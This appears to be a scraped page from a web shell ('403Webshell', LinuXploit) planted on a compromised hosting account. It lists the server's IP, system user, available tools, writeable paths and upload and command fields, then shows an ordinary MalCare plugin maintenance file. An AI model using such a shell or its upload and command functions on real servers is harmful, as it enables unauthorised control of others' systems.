403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.168
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/backup/msckey.com/wp-content/plugins/malcare-security/maintenance/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/backup/msckey.com/wp-content/plugins/malcare-security/maintenance/wp_maintenance.php
<?php

if (!defined('ABSPATH')) exit;
if (!class_exists('BVWPMaintenance')) :

	class BVWPMaintenance {
		private $conf = array();
		private $allowed_roles = array();
		public static $template = '';

		public function __construct($conf) {
			$this->conf = $conf;
			$this->initialize_all_params();
		}

		public function initialize_all_params() {
			if (!empty($this->conf) && array_key_exists('allowed_roles', $this->conf)) {
				$this->allowed_roles = $this->conf['allowed_roles'];
			}

			if (!empty($this->conf) && array_key_exists('template', $this->conf)) {
				self::$template = base64_decode($this->conf['template']);
			}
		}

		public function init() {
			if ($this->is_user_allowed() || empty(self::$template)) {
				return false;
			}
			add_filter('template_include', array($this, 'activate_maintenance'), PHP_INT_MAX);
		}

		public function activate_maintenance() {
			return plugin_dir_path( __FILE__ ) . '/template.php';
		}

		public function is_user_allowed() {
			if (!function_exists('wp_get_current_user')) {
				@include_once(ABSPATH . "wp-includes/pluggable.php");
			}
			$current_user = wp_get_current_user();
			$current_user_roles = (array) $current_user->roles;
			if (is_array($current_user_roles) && array_intersect($this->allowed_roles, $current_user_roles)) return true;
			return false;
		}
	}
endif;

Youez - 2016 - github.com/yon3zu
LinuXploit